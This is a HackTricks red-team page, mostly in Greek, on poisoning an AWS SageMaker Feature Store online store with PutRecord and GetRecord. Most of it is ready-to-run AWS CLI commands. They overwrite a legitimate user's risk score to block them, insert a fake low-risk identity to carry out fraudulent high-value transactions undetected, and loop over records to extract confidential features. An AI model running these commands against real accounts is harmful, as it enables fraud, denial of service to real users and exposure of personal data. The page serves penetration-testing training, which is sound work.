SageMaker Feature Store online store poisoning

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Κακοποίηση του sagemaker:PutRecord σε ένα Feature Group με ενεργοποιημένο OnlineStore για να αντικαταστήσετε τις ζωντανές τιμές χαρακτηριστικών που καταναλώνονται από online inference. Σε συνδυασμό με sagemaker:GetRecord, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints.

Requirements

  • Δικαιώματα: sagemaker:ListFeatureGroups, sagemaker:DescribeFeatureGroup, sagemaker:PutRecord, sagemaker:GetRecord
  • Στόχος: Feature Group με ενεργοποιημένο OnlineStore (συνήθως υποστηρίζει real-time inference)
  • Πολυπλοκότητα: LOW - Απλές εντολές AWS CLI, δεν απαιτείται τροποποίηση μοντέλου

Steps

Reconnaissance

  1. Λίστα των Feature Groups με ενεργοποιημένο OnlineStore
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
  1. Περιγράψτε ένα target Feature Group για να κατανοήσετε το schema
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"

Σημειώστε τα RecordIdentifierFeatureName, EventTimeFeatureName, και όλους τους ορισμούς χαρακτηριστικών. Αυτά απαιτούνται για τη δημιουργία έγκυρων εγγραφών.

Σενάριο Επίθεσης 1: Data Poisoning (Αντικατάσταση Υπάρχουσων Εγγραφών)

  1. Διαβάστε την τρέχουσα έγκυρη εγγραφή
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
  1. Poison the record με κακόβουλες τιμές χρησιμοποιώντας την inline παράμετρο --record
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
  1. Επαληθεύστε τα δηλητηριασμένα δεδομένα
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

Επίπτωση: Τα μοντέλα ML που καταναλώνουν αυτό το χαρακτηριστικό θα δουν τώρα risk_score=0.99 για έναν νόμιμο χρήστη, πιθανώς μπλοκάροντας τις συναλλαγές ή τις υπηρεσίες του.

Σενάριο Επίθεσης 2: Κακόβουλη Έγχυση Δεδομένων (Create Fraudulent Records)

Εισάγετε εντελώς νέες εγγραφές με χειραγωγημένα χαρακτηριστικά για να αποφύγετε τους μηχανισμούς ασφάλειας:

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore

Επαληθεύστε το injection:

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999

Επίπτωση: Ο επιτιθέμενος δημιουργεί μια ψεύτικη ταυτότητα με χαμηλό score ρίσκου (0.01) που μπορεί να πραγματοποιήσει υψηλής αξίας δόλιες συναλλαγές χωρίς να ενεργοποιήσει την ανίχνευση απάτης.

Σενάριο Επίθεσης 3: Εξαγωγή Ευαίσθητων Δεδομένων

Ανάγνωση πολλαπλών εγγραφών για εξαγωγή εμπιστευτικών χαρακτηριστικών και χαρτογράφηση της συμπεριφοράς του μοντέλου:

# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done

Impact: Εμπιστευτικά features (βαθμολογίες κινδύνου, μοτίβα συναλλαγών, προσωπικά δεδομένα) εκτεθειμένα σε attacker.

Δημιουργία δοκιμαστικού/επιδεικτικού Feature Group (Προαιρετικό)

Εάν χρειάζεται να δημιουργήσετε ένα δοκιμαστικό Feature Group:

REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks